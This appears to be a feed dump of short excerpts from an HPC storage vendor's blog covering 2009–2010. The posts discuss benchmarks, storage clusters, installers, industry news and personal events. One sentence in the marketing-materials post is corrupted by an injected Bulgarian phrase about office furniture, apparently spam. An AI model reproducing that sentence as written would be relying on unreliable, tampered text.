thanks to this process. https://blog.scalability.org/2010/02/i-think-that-was-the-easiest-upgrade-i-have-ever-experienced/ Fri, 26 Feb 2010 03:20:34 +0000 https://blog.scalability.org/2010/02/i-think-that-was-the-easiest-upgrade-i-have-ever-experienced/ This was moving to Wordpress 2.9.2. One button. Thats it. Click it. Everything worked afterward. No drama, no complexity. No wizard. It. Just. Worked. I find this very inspirational. Makes me think we want to do this with our stack. https://blog.scalability.org/2010/02/on-the-importance-of-speed-part-1-of-likely-many/ Wed, 24 Feb 2010 04:17:25 +0000 https://blog.scalability.org/2010/02/on-the-importance-of-speed-part-1-of-likely-many/ Raw end user accessible performance on data motion, data storage is rapidly becoming one of the most important problems in any HPC system. We’ve been talking about it for years, but its getting far more important by the day. And not just in HPC. I just spent a long time on the phone with someone from a government agency talking about their need for high performance storage, and analytical capability. We hear these refrains quite commonly, FC4/FC8 is simply too slow for their workloads, and they need to go faster. https://blog.scalability.org/2010/02/i-admit-it-i-am-conflicted/ Wed, 24 Feb 2010 04:03:19 +0000 https://blog.scalability.org/2010/02/i-admit-it-i-am-conflicted/ We have been sent an RFP from a university we have some history with on bids. Our history has been, not winning the business. The winning bids sometimes (often) deviate wildly from the specifications as we read them. One thing I have learned from my experience with them is that the singular most important aspect of any bid is the price we present to them. You might think “well … duh” buts its more subtle than that. https://blog.scalability.org/2010/02/sustaining-strategies-and-startups/ Tue, 23 Feb 2010 18:28:48 +0000 https://blog.scalability.org/2010/02/sustaining-strategies-and-startups/ I read an article on InsideHPC.com that I can’t say I agree with. The discussion on creative destruction is correct. You create a new market by destroying an old market. That has happened many times in HPC, by enabling better, cheaper, faster execution. If our SGI boxen of days old were 1/100th the cost of the Cray YMP at the time, and 20% of the performance, who won that battle? In all but a vanishingly small number of cases, SGI won. https://blog.scalability.org/2010/02/back-in-the-saddle-arrived-from-florida-to-8-inches-of-snow-on-my-driveway/ Tue, 23 Feb 2010 17:16:50 +0000 https://blog.scalability.org/2010/02/back-in-the-saddle-arrived-from-florida-to-8-inches-of-snow-on-my-driveway/ Yeah … that was fun. Back at work. Things have been busy. https://blog.scalability.org/2010/02/btw-i-am-out-on-vacation-holiday-for-most-of-the-non-us-world-working-iphone-yadda-yadda/ Tue, 16 Feb 2010 03:38:12 +0000 https://blog.scalability.org/2010/02/btw-i-am-out-on-vacation-holiday-for-most-of-the-non-us-world-working-iphone-yadda-yadda/ Spent several days in Orlando Florida (the house of mouse), and today drove to Key West, after a short stop in Miami to visit a friend, his wife, and their newly 1 year old daughter. Of course, upon getting to Key West, first our hotel door wouldn’t open, and then when we figured out the trick with the help of the hotel person, we inserted our card into the door, and the lights went out on the Island. https://blog.scalability.org/2010/02/opensolaris-10-9-06-is-pretty-good-for-a-task-we-had-tested-it-with/ Tue, 16 Feb 2010 03:12:10 +0000 https://blog.scalability.org/2010/02/opensolaris-10-9-06-is-pretty-good-for-a-task-we-had-tested-it-with/ I’ll describe it more later, but this will be showing up in our siCluster units in short order. Some experiments we did on this over the past week have met with a resounding success, and give us a level of flexibility that I hadn’t anticipated before. Now, if I can figure out how to integrate Tiburon and Jumpstart (launch Jumpstart from Tiburon), or figure out how to provision OpenSolaris systems over PXE boot. https://blog.scalability.org/2010/02/on-the-joys-of-attempting-to-get-solaris-10-u8-installed-on-a-jr4/ Wed, 10 Feb 2010 05:28:42 +0000 https://blog.scalability.org/2010/02/on-the-joys-of-attempting-to-get-solaris-10-u8-installed-on-a-jr4/ A customer wants to test this. We want to load it for them. As we have discovered in the process …. … Solaris 10 (not OpenSolaris) doesn’t like SATA DVD drives. Since the motherboard has no IDE drive, we are SOL there. But wait, can’t we use a nice shiny USB DVD drive? No dice. Doesn’t work. … ok What about a PXE boot load? Lets make it nice and simple. https://blog.scalability.org/2010/02/bad-latency-characteristics-for-the-sdr-mellanox-card-mt25204/ Tue, 09 Feb 2010 15:55:27 +0000 https://blog.scalability.org/2010/02/bad-latency-characteristics-for-the-sdr-mellanox-card-mt25204/ [update] This was a PCI contention issue. Customers original code and test cases did not tickle this performance feature.. Their next code did. ConnectX was designed to handle codes of the latter type. Its also quite dangerous to take as gospel any of the output of diagnostic programs without their context. And if you are a vendor, and you have a customer reporting things like this, have a careful look at what they are doing. https://blog.scalability.org/2010/02/ot-some-security-incident-this-morning-at-detroit-metro-airport-dtw/ Mon, 08 Feb 2010 14:23:37 +0000 https://blog.scalability.org/2010/02/ot-some-security-incident-this-morning-at-detroit-metro-airport-dtw/ Few details. My wife heard a report from an eye-witness to it. Nothing concrete yet, nothing I can definitively report. What was told to me was that the incident was in the concourse, security tried to apprehend someone, and they were eventually walked out. I also heard something about a police officer carrying something “with wires hanging out”. Hopefully we will hear something soon. https://blog.scalability.org/2010/02/revamping-the-day-jobs-web-store/ Sat, 06 Feb 2010 21:39:12 +0000 https://blog.scalability.org/2010/02/revamping-the-day-jobs-web-store/ Our webstore has been a good thing for us to implement, it has driven purchases (more indirectly than directly). But it is somewhat hard to maintain, and causes significant issues when we want to update it. Moreover, its not sufficiently flexible that people can configure specific systems on it, such as siCluster. So we are revamping it. Rethinking some of the basic bits. Hopefully these bits of re-thinking will result in a better experience for everyone. https://blog.scalability.org/2010/02/interesting-results-from-microsofts-sqlio-benchmark-on-jr4/ Sat, 06 Feb 2010 21:33:15 +0000 https://blog.scalability.org/2010/02/interesting-results-from-microsofts-sqlio-benchmark-on-jr4/ I’ll have the full set of numbers soon from the tests our customer was running on their shiny new JR4 (they agreed to let us talk about them). One of the more interesting take-aways is that the 24 drive unit appears to provide something a bit north of 5000 IOPs in a number of the random tests, doing seeks on files larger than ram. I need to think this through somewhat. https://blog.scalability.org/2010/02/why-is-it-that-i-get-more-work-done-on-a-saturday-at-the-office-than-all-week-long-at-the-office/ Sat, 06 Feb 2010 21:25:10 +0000 https://blog.scalability.org/2010/02/why-is-it-that-i-get-more-work-done-on-a-saturday-at-the-office-than-all-week-long-at-the-office/ No … seriously. I solved 2 long standing issues today, one for an internal system now running 12 cores and 32 GB ram (needed a bios update), and the other was fixing the ()&&%%$^%(*& problems with a set of GA180 cards. I dunno, I think the issue is that I have ample time to think without interruption. The family is off swimming (wish I were with them), but getting this done is important. https://blog.scalability.org/2010/02/did-ubuntu-jump-the-shark-in-9-10-yeah-they-did/ Wed, 03 Feb 2010 01:25:46 +0000 https://blog.scalability.org/2010/02/did-ubuntu-jump-the-shark-in-9-10-yeah-they-did/ List of things they changed is long. Some major ones … some … I dunno … bad ideas mebbe? like Grub2? Like incompatibilities with various motherboards (struggling with this right now on a home machine rebuild). Like unchangable login windows, and crappy icons for power, mail, volume, unchangable options in gnome … the xorg config debacle. I could go on. The big one is the nVidia issue. Install restricted drivers. Sure. https://blog.scalability.org/2010/01/working-on-marketing-materials-for-sicluster-new-benchmark-reports/ Sat, 30 Jan 2010 14:03:17 +0000 https://blog.scalability.org/2010/01/working-on-marketing-materials-for-sicluster-new-benchmark-reports/ Weофис обзавеждане are developing some marketing materials and pages for our siCluster systems. Also some new internal benchmark reports on JackRabbit, DeltaV, and other tools. Also, we have some contracts we are working on to supply some new benchmarks of some announced/delivered and announced/not-currently shipping chips. Have a variety of new things showing up in the lab … would love to have the time to play with them … will start our automated testing bits for now. https://blog.scalability.org/2010/01/ruminations-on-performance-the-possible-the-impossible-and-things-in-between/ Sat, 30 Jan 2010 13:51:16 +0000 https://blog.scalability.org/2010/01/ruminations-on-performance-the-possible-the-impossible-and-things-in-between/ We are often asked what differentiates us from our competition. One of the more important aspects is our raw uncompromising performance. Our systems are fast. Not in a marketing number sense (I’ll get to this in a minute). But in real application fast. We take a no holds barred approach to performance design. And our customers do see this. Design, implementation, … these are critical elements. Software stack, tuning …. these are critical. https://blog.scalability.org/2010/01/again-tremendously-busy-lots-i-want-to-write-about/ Sat, 30 Jan 2010 11:04:29 +0000 https://blog.scalability.org/2010/01/again-tremendously-busy-lots-i-want-to-write-about/ please do bear with me. https://blog.scalability.org/2010/01/sunacle-orasun-the-saga-continues/ Wed, 27 Jan 2010 16:56:22 +0000 https://blog.scalability.org/2010/01/sunacle-orasun-the-saga-continues/ It does seem that Larry Ellison and his team are focused where they think Sun’s real value lies. From an article today in The Register, some of these plans are showing up in the press. For those not sure if things are done with, the JAVA symbol appear to be going going … gone. You can still find a few reminents here. And one of its last 10Q filings, here. As I noted previously, Oracle isn’t dumb. https://blog.scalability.org/2010/01/the-pony-scale/ Tue, 26 Jan 2010 07:25:11 +0000 https://blog.scalability.org/2010/01/the-pony-scale/ We get RFPs all the time. Some of these RFPs are genuine “show us good things so we can consider them.” Many are “we really want to buy something quite specific, but the rules won’t let us specify then.” Some of them have requirements or limits that make me think of a kid saying … “and I want a pony too”. Such RFPs usually have a combination of reasonable sounding elements, right up to the point where they demand the pony. https://blog.scalability.org/2010/01/ot-joes-weekend-adventure-bo-kata-sparring/ Sun, 24 Jan 2010 17:38:16 +0000 https://blog.scalability.org/2010/01/ot-joes-weekend-adventure-bo-kata-sparring/ I had some karate fun over the weekend, participating at a tournament in Michigan. First tournament, never done this before. Ok, in high school, I did wrestling. Same long waits punctuated by fast action, in a make or break mode. The school I attend is here. Great instructors, nearly infinite patience for newbies like me. As long as I don’t screw up the player, here is the bo kata. I took second place in the over 35 group (and in the 18-34 group … long story, don’t ask, but I am happy to have done better than some of them young whippersnappers :) ) I’ll put the sparring video up later. https://blog.scalability.org/2010/01/sun-acle-orasun-java/ Thu, 21 Jan 2010 15:51:31 +0000 https://blog.scalability.org/2010/01/sun-acle-orasun-java/ The acquisition has been given a green light in Europe. Now … as to what this means after nearly 10 months of uncertainty to Sun’s remaining customers, the ones that haven’t fled to other vendors, may be a moot question. What this means to various markets is also unknown. We haven’t seen much focus of Oracle in HPC. Indeed, this is a tiny market for Sun (its not their forte), and given that Sun will be a small part of Oracle … https://blog.scalability.org/2010/01/hmmm-i-thought-i-was-the-only-one-who-thought-the-microsoft-bots-were-aggressive/ Mon, 18 Jan 2010 11:38:56 +0000 https://blog.scalability.org/2010/01/hmmm-i-thought-i-was-the-only-one-who-thought-the-microsoft-bots-were-aggressive/ In this article on H-online, they noticed that the Microsoft bots are … er … aggressive. In the past, we’ve had to disable their 65.55.x.* access to our sites as they did not respect robots.txt. In the past year or so, they have behaved generally well, though we do notice the occasional blip. I suspect that their crawlers aren’t terribly smart. Google’s, yahoo’s, and many others are pretty sophisticated. No real problems with them anymore. https://blog.scalability.org/2010/01/blown-away-at-how-annoying-software-installation-is-on-windows/ Mon, 18 Jan 2010 01:13:29 +0000 https://blog.scalability.org/2010/01/blown-away-at-how-annoying-software-installation-is-on-windows/ I’ve argued that RPM … well … building RPMs is bothersome, in part because RPM is a moving target. Its hard to actually build a reasonable package that works correctly on all RPM based or accessible distributions. But this is nothing compared to the pain that windows people feel. I never knew how much of a stinking pile of week old bits that windows software installation was … that is … until I needed to install a package, a simple basic storage controller package … on a windows 2008 x64 server. https://blog.scalability.org/2010/01/yeah-i-blowed-up-da-motherboard-in-the-central-server/ Sat, 16 Jan 2010 19:11:46 +0000 https://blog.scalability.org/2010/01/yeah-i-blowed-up-da-motherboard-in-the-central-server/ Yuppers. Updated the bios for the brand new 6 core AMD chips. And whammo. Motherboard was toast. Yessiree toast. A door jam. A square frisbee. So I swapped it out for a motherboard we are using for testing. On the plus side, scalableinformatics.com is now being served by a shiny new Nehalem E5504. On the down side … I have a new square hockey puck. The exact same size and shape as the motherboard which used to be in Scalableinformatics. https://blog.scalability.org/2010/01/been-busy-as-usual/ Sun, 10 Jan 2010 17:38:13 +0000 https://blog.scalability.org/2010/01/been-busy-as-usual/ The year is going hard and fast, right out of the gate. Multiple RFPs and new customers. New bits of business left and right. And lets not forget the support side … this is using up lots of time as well. Sales hire is almost done … not to offload, but to augment. Need to do a technical hire too, soon. More around Tuesday. I have some documentation I have to finish up, and rerun a whole lotta benchmarks for some customers. https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-7/ Sun, 03 Jan 2010 19:20:45 +0000 https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-7/ Storage changes In the beginning of the millenium, Fibre Channel ruled the roost. Nothing could touch it. SATA and SAS were a ways away. SCSI was used in smaller storage systems. Networked storage meant a large central server with ports. SANs were on the rise. In HPC you have to move lots of data. Huge amounts of data. Performance bottlenecks are no fun. FC is a slow technology. It is designed to connect as many disks as you can together for SAN architecture. https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-6/ Sun, 03 Jan 2010 16:39:08 +0000 https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-6/ The recycling of an older business model using newer technology ASPs began the decade promising to reduce OPEX and CAPEX for HPC systems. They flamed out, badly, as they really didn’t meet their promise, and you had all these nasty issues of data motion, security, jurisdiction, software licenses, utilization, and compatibility. The concept itself wasn’t bad, create an external data center where you can run stuff, and pay for what you use. https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-5/ Sun, 03 Jan 2010 15:56:26 +0000 https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-5/ Accelerators in HPC … In 2002, my business partner (he wasn’t then), showed me these Cradle SOC chips. 40 cores or something like that, on a single chip, in 2002 time frame. My comment to him was, we should figure out a way to put a whole helluva lotta them (e.g. many chips with RAM etc) onto PCI cards, with programming environments. Make them easy to use. Easy to program. We spent the next 2-3 years looking at a bunch of architectures, a bunch of chips. https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-4/ Sun, 03 Jan 2010 15:52:41 +0000 https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-4/ The impact of markets, and government upon HPC … While the charts from top500.org are nice, they don’t tell everything that happened in this interval. We had 3 recessions, 2 major (2001 and the “Great Recession”) and 1 minor one. We had significant changes in research funding from the US federal government … a refocusing of DARPA on things less HPC specific. These elements all contributed to the trajectory within the decade. https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-3/ Sun, 03 Jan 2010 15:49:50 +0000 https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-3/ The relentless onslaught of clusters … We are also mostly doing SMPs and MPPs then. Clusters are barely registering. See the chart and the data to get more perspective. What happened in the market was a simple alteration of the cost scale per flop. Clusters provided massive numbers of cheap cycles. Add to this that MPI has been standardized, reasonably well designed, and people were migrating codes to it. Funny, MPI on a cluster runs just as nicely as MPI on the SGI. https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-2/ Sun, 03 Jan 2010 15:48:18 +0000 https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-2/ The death of RISC … obligatory Monty Python Holy Grail quote: old man: I’m not dead yet, I think I’ll go for a walk John Cleese: Look, you are not fooling anyone … The RISC vendors (SGI, HP, IBM, …) realized that RISC was dead, and that EPIC would be the technology that killed it. I was at SGI at the time, and disagreed that EPIC (Itanium) was going to be the killer. https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-1/ Sun, 03 Jan 2010 15:45:07 +0000 https://blog.scalability.org/2010/01/hpc-in-the-first-decade-of-a-new-millenium-a-perspective-part-1/ [Update: 9-Jan-2010] Link fixed, thanks Shehjar! This is sort of another itch I need to scratch. Please bear with me. This is a long read, and I am breaking it up into multiple posts so you don’t have to read this as a huge novel in and of itself. Many excellent blogs and news sites are giving perspectives on 2009. Magazine sites are talking about the hits in HPC over the last year in computing, storage, networking. https://blog.scalability.org/2010/01/pbzip2-how-do-i-love-thee-let-me-count-the-ways/ Sat, 02 Jan 2010 23:16:50 +0000 https://blog.scalability.org/2010/01/pbzip2-how-do-i-love-thee-let-me-count-the-ways/ dstat output on a 10GB pbzip2 compressed file being uncompressed … with pbzip2. ----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- usr sys idl wai hiq siq| read writ| recv send| in out | int csw 49 3 42 5 0 0| 35M 95M|3168B 6978B| 0 28k|1575 1198 52 4 39 5 0 0| 39M 188M|2508B 5230B| 0 80k|1769 1475 51 4 40 5 0 0| 19M 206M|4686B 9390B| 0 0 |2396 2240 42 4 48 5 0 0| 31M 158M|3054B 5360B| 0 16k|1820 2025 50 5 40 5 0 0| 37M 115M|2640B 5360B| 0 104k|1731 1564 38 4 50 8 0 0| 24M 105M|3102B 6270B| 0 0 |1639 1477 ^C Run … don’t walk … to get pbzip2. https://blog.scalability.org/2009/12/non-theatrical-security/ Mon, 28 Dec 2009 09:56:01 +0000 https://blog.scalability.org/2009/12/non-theatrical-security/ As it turns out, a good friend was on that Northwest flight. I won’t identify him (though I know he reads this blog occasionally). What happened to him has made me think of my own responses in such a scenario. But it has also made me question the TSA’s kneejerk ineffective new guidelines. Especially in light of the potential accuracy of this report, if true, suggests that real security measures ought to be taken. https://blog.scalability.org/2009/12/oh-yeah/ Sun, 27 Dec 2009 04:40:08 +0000 https://blog.scalability.org/2009/12/oh-yeah/ Two days ago, some nutjob wanted to blow up an airplane 20 minutes out from the airport I live 15 minutes from. Said nutjob is apparently in a hospital in Ann Arbor, again, 20 minutes away from us. Today, the TSA is closing the barn doors after all the horses have left. I am going to follow their train of illogic to its inevitable conclusion. At some point in time in the future, our TSA won’t allow planes to take off and land until all passengers are in a chemically induced coma. https://blog.scalability.org/2009/12/simple-minded-sprints-with-jackrabbit-flash/ Mon, 21 Dec 2009 00:03:00 +0000 https://blog.scalability.org/2009/12/simple-minded-sprints-with-jackrabbit-flash/ A quick and dirty test on a JackRabbit Flash machine. This is a machine going to a proof of concept project soon. A simple 8k random read against 256GB data spread out over 4 volumes. 1 machine. 48GB ram. Open up the throttle on the stock config. Engines aren’t running at full speed, but its a baseline test. random: (groupid=0, jobs=256): err= 0: pid=18717 read : io=262144MB, bw=733052KB/s, iops=91631, runt=366189msec clat (usec): min=296, max=184778, avg=2777. https://blog.scalability.org/2009/12/what-i-really-want-to-do-is-to-disable-device-mapper-on-install/ Sun, 20 Dec 2009 15:35:38 +0000 https://blog.scalability.org/2009/12/what-i-really-want-to-do-is-to-disable-device-mapper-on-install/ Sometimes … sometimes … helpful utilities are helpful. Like installation systems that present the raw hardware with drivers to me, and let ME decide what I want to do with them. Unfortunately … I often run head first into bad choices made by the installer coders or architects. Dm-raid is one of these cases. It is very hard to disable it from a Centos install. Very hard. Pretty close to damn near impossible. https://blog.scalability.org/2009/12/interview-from-sc09-posted-at-techinsight-tv/ Sun, 13 Dec 2009 20:19:04 +0000 https://blog.scalability.org/2009/12/interview-from-sc09-posted-at-techinsight-tv/ I did a few interviews, ranging from bloggers through journalists. This interview is one of the mix. By all means, please do go to their site and see it, and their text around it. I had much more to say, this is an edited down version. Basically I ran the Kx kdb+ demo, the dd demo, and a few other demos while talking. Doug was off on my right, probably laughing at me as I jumbled some things up … The hand bit? https://blog.scalability.org/2009/12/ceph-client-nearly-ready-to-go-into-kernel/ Sun, 13 Dec 2009 20:05:47 +0000 https://blog.scalability.org/2009/12/ceph-client-nearly-ready-to-go-into-kernel/ Sage Weil has posted on this. Ceph is distributed file system, with an MDS, and a few other things, that looks quite interesting. Not necessarily on the high performance side, but on the simple object storage side. The client going in to 2.6.33 could be quite interesting. Pay attention to Ceph. Think of Lustre, without the nasty kernel requirements on server and client, and with in-kernel support. Including Ceph within the kernel (the second! https://blog.scalability.org/2009/12/the-danger-of-controlling-too-much-of-your-stack/ Thu, 10 Dec 2009 01:54:29 +0000 https://blog.scalability.org/2009/12/the-danger-of-controlling-too-much-of-your-stack/ This is related to an issue we ran in to, today, and several other times. It sounds strange, but if you maintain rigid control over a huge swath of your stack, you run a fairly serious risk of being unable to respond to changing environments as quickly as your competition. The law of un-intended consequences bites you, fairly hard. Worse, you rarely, if ever, realize it, until it is too late. https://blog.scalability.org/2009/12/just-one-of-them-days/ Wed, 09 Dec 2009 01:55:42 +0000 https://blog.scalability.org/2009/12/just-one-of-them-days/ We had a bunch of parts overnighted so we could start building some machines. Turns out one critical part for mounting the heat sinks was missing. If that part doesn’t arrive tomorrow, we’ll have to do a work around near term, and worst case, use a slightly different MB/mount for this, as we have that part for that MB. Do-able for this unit, but annoying as all heck. And of course it is time critical. https://blog.scalability.org/2009/12/just-too-funny-2/ Tue, 08 Dec 2009 14:34:13 +0000 https://blog.scalability.org/2009/12/just-too-funny-2/ XKCD comic from a few days ago .. [ ](http://www.xkcd.com/) reminds me of the spherical horse joke I used to tell … For those not in the know, physicists like to reduce complex problems to simpler problems, solve the simpler problem … so when designing a faster race-horse, why not make the horse spherical rather than its equine shape, figure out what slows down a spherical horse, then that should be similar for the equine shaped horse … right? https://blog.scalability.org/2009/12/perl-6-looks-quite-good/ Sun, 06 Dec 2009 20:21:55 +0000 https://blog.scalability.org/2009/12/perl-6-looks-quite-good/ I had a chance to look at the perl 6 advent calendar. What caught my eye was yesterdays post. In it, meta operators are explained. So here is a common HPC pattern, a reduction operation. Say a sum reduction. Suppose you want to sum up the values in some vector A. In Perl, A would be represented by a list, @a. To get the sum over the elements, you can do this: $sum = [+] @a; which means apply the sum operator “+”, between elements of the list. https://blog.scalability.org/2009/12/day-job-will-be-opening-a-technical-sales-position-shortly/ Sat, 05 Dec 2009 14:52:25 +0000 https://blog.scalability.org/2009/12/day-job-will-be-opening-a-technical-sales-position-shortly/ See the day job site for details soon (next week?) for the posting. https://blog.scalability.org/2009/12/this-year-is-one-for-the-record-books/ Thu, 03 Dec 2009 17:55:01 +0000 https://blog.scalability.org/2009/12/this-year-is-one-for-the-record-books/ We passed an important milestone today. Well, ok, we passed it earlier in the week. But this is our best year to date on record. And the year isn’t over … still 28 days left …. https://blog.scalability.org/2009/12/sicluster-decloaking/ Wed, 02 Dec 2009 18:41:00 +0000 https://blog.scalability.org/2009/12/sicluster-decloaking/ The day job pushed the announcement which went into the SC09 PR black hole out the door today. Also, the first installation is also indicated in the next announcement … Scalable Informatics Introduces siCluster, an Innovative and Highly Scalable Performance Storage Cluster Canton, MI, Dec 2, 2009 - Scalable Informatics Inc., a provider of innovative high performance storage and computing solutions, announces the availability of their new siCluster??? storage cluster product (http://scalableinformatics. https://blog.scalability.org/2009/12/i-am-not-sure-i-should-be-amused-but-i-am/ Wed, 02 Dec 2009 14:57:42 +0000 https://blog.scalability.org/2009/12/i-am-not-sure-i-should-be-amused-but-i-am/ The day job has a registration page for people who are interested in purchasing high performance storage, deskside supercomputing, storage clusters, and other HPC like things from us. This registration page asks some very simple things: who are you, where are you, what your shipping/billing address is, what you want your user name to be, and what things you want information on. Registration is, fundamentally, a matter of trust. We guarantee we will not spam people. https://blog.scalability.org/2009/12/storage-cluster-drag-racing/ Tue, 01 Dec 2009 23:54:00 +0000 https://blog.scalability.org/2009/12/storage-cluster-drag-racing/ … well, I am trying to figure out what I am doing wrong in io-bm. I need a new method to defeat some of the smarter caching bits, my MPI_Send/MPI_Recv pairs are blocking pairs, and this impacted performance. Not only that, the additional traffic over the Infiniband was definitely a cause of contention on the wire. Doing some TB sized writes at a good rate. The “naive” bandwidths (the way IOzone calculates them) are about where we predicted given the measured IB performance. https://blog.scalability.org/2009/11/ot-ethics-and-transparency-in-scientific-communications/ Sun, 29 Nov 2009 03:36:22 +0000 https://blog.scalability.org/2009/11/ot-ethics-and-transparency-in-scientific-communications/ This is more of an itch I need to scratch. I am a recovering/reformed computational physicist. I really enjoyed doing work in modeling semiconductors, and I had hoped to post-doc modeling dynamics of proteins among other things. Of course, my academic career ran head first into the deluge of physicists from the former soviet union, all with 20+ year seniority, all willing to work for less money. A generation of young physicists were lost to this onslaught; I decided to do something else after finishing up. https://blog.scalability.org/2009/11/nice-to-know-ive-had-an-impact-on-language/ Sat, 28 Nov 2009 21:29:31 +0000 https://blog.scalability.org/2009/11/nice-to-know-ive-had-an-impact-on-language/ From this article linked from /., I found this tidbit Heh. I wonder if anyone else used that term, for accelerators, before they did. I wonder. APUs are taking HPC by storm. This is creative destruction you are witnessing. We moved mostly out of the market being destroyed over the last year or so, and focused upon the market being created. It absolutely blows me over that Vipin’s and my strategy pitch is being played, almost to the letter, by the successful players in this market. https://blog.scalability.org/2009/11/ibm-shelves-cell/ Fri, 27 Nov 2009 05:37:34 +0000 https://blog.scalability.org/2009/11/ibm-shelves-cell/ It looks like IBM is going to shelf the Power Cell processor. Cell during its lifetime never really garnered the ubiquity it needed to do what NVidia is doing with GPU. I had guessed on this site previously that Cell needed to get wider distribution to maintain a base. The business model for acceleration is ubiquity, and then its a tools play. Unfortunately IBM never really seemed to commit to the platform. https://blog.scalability.org/2009/11/i-keep-forgetting-how-brittle-anaconda-is/ Thu, 26 Nov 2009 09:17:50 +0000 https://blog.scalability.org/2009/11/i-keep-forgetting-how-brittle-anaconda-is/ … until I need to use it. Anaconda is the Redhat/Fedora installer. It purports to be a reasonable installation tool. But it has a number of interesting issues. Some of these issues make installs … well … exciting. I’ve taken to the philosophy of absolute minimum time spent in anaconda. Call this defensive installation. Anaconda will toss fatal errors, with no hope of recovery … unless you want to try and debug some obscure python … Back in the SGI days, I wrote an installer that largely worked around the SGI installer. https://blog.scalability.org/2009/11/designing-the-next-generation-of-our-storage-systems/ Sun, 22 Nov 2009 06:25:40 +0000 https://blog.scalability.org/2009/11/designing-the-next-generation-of-our-storage-systems/ Back from SC09, and for a project Vipin asked me to work on quickly, I am cranking out our roadmaps in greater detail. One of the things I’ve been thinking of for a long time is, what comes after JackRabbit and DeltaV? In the case of JackRabbit, even when it is hobbled by a poorly performing IB network (we are still working on why this is the case), we appear to kick some serious tail in the high performance cluster storage space … our worst case result was 4x faster than a competitors best case on the same problem (info was presented at SC09 in a public talk by the user, so I think its ok to talk about, if not, let me know and I’ll elide this). https://blog.scalability.org/2009/11/one-of-the-best-funniest-quotes-from-sc09/ Sat, 21 Nov 2009 15:26:21 +0000 https://blog.scalability.org/2009/11/one-of-the-best-funniest-quotes-from-sc09/ From HPCwire … Like … totally … Ok … apart from the humor in the quote (and I am hoping that Allan or the writer meant that comment to be interpreted in a semi-humorous manner … its also very possible Allan didn’t say that and the writer took … er … liberties … yeah thats it … and decided to embark on a more, how shall I say this … creative writing effort than more serious journalism … embellish it a bit), there is another thread that is worth discussing. https://blog.scalability.org/2009/11/sc09-t2-user-benchmarks-of-the-msi-storage-cluster/ Thu, 19 Nov 2009 07:07:56 +0000 https://blog.scalability.org/2009/11/sc09-t2-user-benchmarks-of-the-msi-storage-cluster/ Minnesota Supercomputing Institute purchased the first siCluster (PR on disk, finishing up and getting out tomorrow), which is a scalable storage cluster product, aimed at providing very scalable performance and capacity. I was worried after the talk I gave at their booth. Their researcher indicated our performance wasn’t good. We had turned off some caching to avoid problems during the acceptance test for HP, the Itasca cluster vendor. The Itasca cluster is quite nice. https://blog.scalability.org/2009/11/sc09-t2-its-like-drinking-from-a-fire-hose/ Thu, 19 Nov 2009 06:59:27 +0000 https://blog.scalability.org/2009/11/sc09-t2-its-like-drinking-from-a-fire-hose/ Ok … so so many things going on. All at once. I’ve done what … like 3 on camera interviews over the last 48 hours, and have another one coming up. I’ve given a talk, and attended a talk. More on that in the next post. Ok. Vipin needs me to work on something tonight, so I might not get nearly as much sleep as I want. Gotta hit the gym tomorrow too. https://blog.scalability.org/2009/11/sabalcore-computing-has-selected-scalable-informatics-as-their-primary-storage-vendor/ Tue, 17 Nov 2009 09:02:26 +0000 https://blog.scalability.org/2009/11/sabalcore-computing-has-selected-scalable-informatics-as-their-primary-storage-vendor/ See the press release. Sabalcore (fka Tsunamic Technologies) is a cluster-on-demand vendor, providing high performance computing without the hassle of buying/maintaining your own. https://blog.scalability.org/2009/11/sc09-t-0-nfs-over-10gbe-at-1-gbs/ Tue, 17 Nov 2009 02:10:50 +0000 https://blog.scalability.org/2009/11/sc09-t-0-nfs-over-10gbe-at-1-gbs/ Just thought we’d run some nice little performance tests using io-bm (yeah, I know, I have to release it already). Remember, this is booth 635 if you want us to do this live … Here is a write, from the Pegasus, to the JR4. Over a single 10GbE link. scalable@pegasus:~$ /opt/openmpi133/bin/mpirun -v -np 4 `pwd`/io-bm.exe -n 32 -w -f /data/jr4/nfs/io-bm-test ... Thread=3: time = 32.682s IO bandwidth = 250.655 MB/s Thread=0: time = 32. https://blog.scalability.org/2009/11/sc09-t-0-the-demo/ Mon, 16 Nov 2009 20:18:19 +0000 https://blog.scalability.org/2009/11/sc09-t-0-the-demo/ So we worked hard with our partners to get a demo going. One that highlighted their software, and our hardware. And we got this going with their kind and patient help. One problem. It goes so fast … its done in about a second … :) https://blog.scalability.org/2009/11/sc09-my-talk-at-minnesota-supercomputer-insitutes-booth-on-tuesday-3-330pm/ Mon, 16 Nov 2009 06:24:08 +0000 https://blog.scalability.org/2009/11/sc09-my-talk-at-minnesota-supercomputer-insitutes-booth-on-tuesday-3-330pm/ Please do come by, I may have shirts for people attending the talk if they ask good questions at the end (no, “what is your name” or “what is the airspeed of an unladen swallow” doesn’t count). We will be talking about the first installed siCluster storage cluster system, designed to enable scalable performance and capacity. We’ll cover goals, design considerations, implementation issues. And some benchmarks, though we are going to have an interesting caveat in them. https://blog.scalability.org/2009/11/sc09-t-1-day-the-booth-is-mostly-up/ Mon, 16 Nov 2009 06:11:40 +0000 https://blog.scalability.org/2009/11/sc09-t-1-day-the-booth-is-mostly-up/ A JackRabbit JR4, and a Pegasus deskside supercomputer are there (booth 635 on the show floor, Intel Partner Pavilion). We ran into a cooling issue though, so I had to pull one of the GPU cards. Working on a few other things to fix. Might have a corrupted zip file for the demo (ugh). Will try to fix now. We are in booth 635 with several other partners of Intel. Come by and say hi! 